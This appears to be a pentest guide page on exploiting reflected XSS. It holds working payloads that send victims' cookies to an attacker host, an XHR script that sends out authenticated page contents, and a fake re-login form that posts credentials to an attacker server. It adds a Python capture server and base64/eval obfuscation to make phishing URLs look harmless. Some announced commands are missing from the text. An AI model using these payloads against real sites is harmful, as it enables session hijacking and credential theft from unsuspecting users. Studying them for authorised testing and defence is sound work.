Reflected XSS Exploitation
With a confirmed reflected XSS injection point, the primary impact in a pentest context is session hijacking via cookie theft, credential capture, and demonstrating full account takeover. This page covers building a working exploit URL and hosting the infrastructure needed to receive stolen data.
Confirming the injection point and verifying execution is covered in Reflected XSS Checks.
Cookie Theft
The most direct impact. If session cookies are not marked HttpOnly, they are readable from JavaScript and can be sent to your server.
Host a listener to receive the cookie:
Or a Python HTTP server for cleaner logging:
Build the payload that sends cookies to your server:
<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>
URL-encode it and embed in the injection parameter:
The full exploit URL to send to a victim:
http://$TARGET_IP:$PORT/search?q=<script>document.location='http://LHOST:LPORT/?c='+document.cookie</script>
URL-encode the payload for cleaner delivery:
When the victim loads the URL, their browser executes the script and their session cookie appears in your listener as a GET request parameter.
Session Hijacking
Once you have the session cookie, use it to take over the session:
In a browser, set the cookie via the developer console:
document.cookie = "session=STOLENVALUE; path=/";
Then navigate to any authenticated page. If the application accepts the cookie, you are now authenticated as the victim.
HttpOnly Cookie Bypass via XHR
When cookies are marked HttpOnly, JavaScript cannot read them directly. Use an XHR request to make an authenticated request from the victim's browser and exfiltrate the response:
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://$LHOST:$LPORT/?d=' + btoa(this.responseText), true);
exfil.send();
};
xhr.open('GET', '/account/settings', true);
xhr.send();
</script>
This makes an authenticated request to /account/settings using the victim's existing session and sends the base64-encoded response to your listener. Useful for extracting profile data, API keys, or tokens from the application without needing the raw cookie.
Decode the received data:
Credential Capture via Fake Login Form
When the application does not use HttpOnly cookies and you want to capture plaintext credentials, inject a fake login form that posts to your server. This works best when the XSS lands on a page that users would expect to re-authenticate on:
<script>
document.body.innerHTML='<form action="http://$LHOST:$LPORT/capture" method="POST"><h2>Session expired. Please log in again.</h2><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>
Receive credentials with netcat:
Or a Python server that logs POST bodies:
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers['Content-Length'])
print(self.rfile.read(l).decode())
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', $LPORT), H).serve_forever()
Confirming HttpOnly Status
Before building your exploit, check which cookies are HttpOnly:
The HttpOnly flag appears in the cookie line. Alternatively, check response headers on login:
A Set-Cookie header with HttpOnly means you cannot read it via document.cookie and need the XHR approach.
URL Shortening for Delivery
Long XSS URLs with raw payloads look suspicious. For social engineering delivery in scope, shorten the URL or encode the payload in a less recognisable form. Base64 with eval avoids obvious keywords in the URL:
Payload:
<script>eval(atob('BASE64HERE'))</script>
This encodes the malicious part and only leaves eval(atob(...)) visible in the URL.
References
-
PortSwigger Web Security Academy: Exploiting XSSportswigger.net/web-security/cross-site-scripting/exploiting (opens in new tab)
Covers cookie theft, session hijacking, and credential capture via XSS with worked examples
Was this helpful?
Your feedback helps improve this page.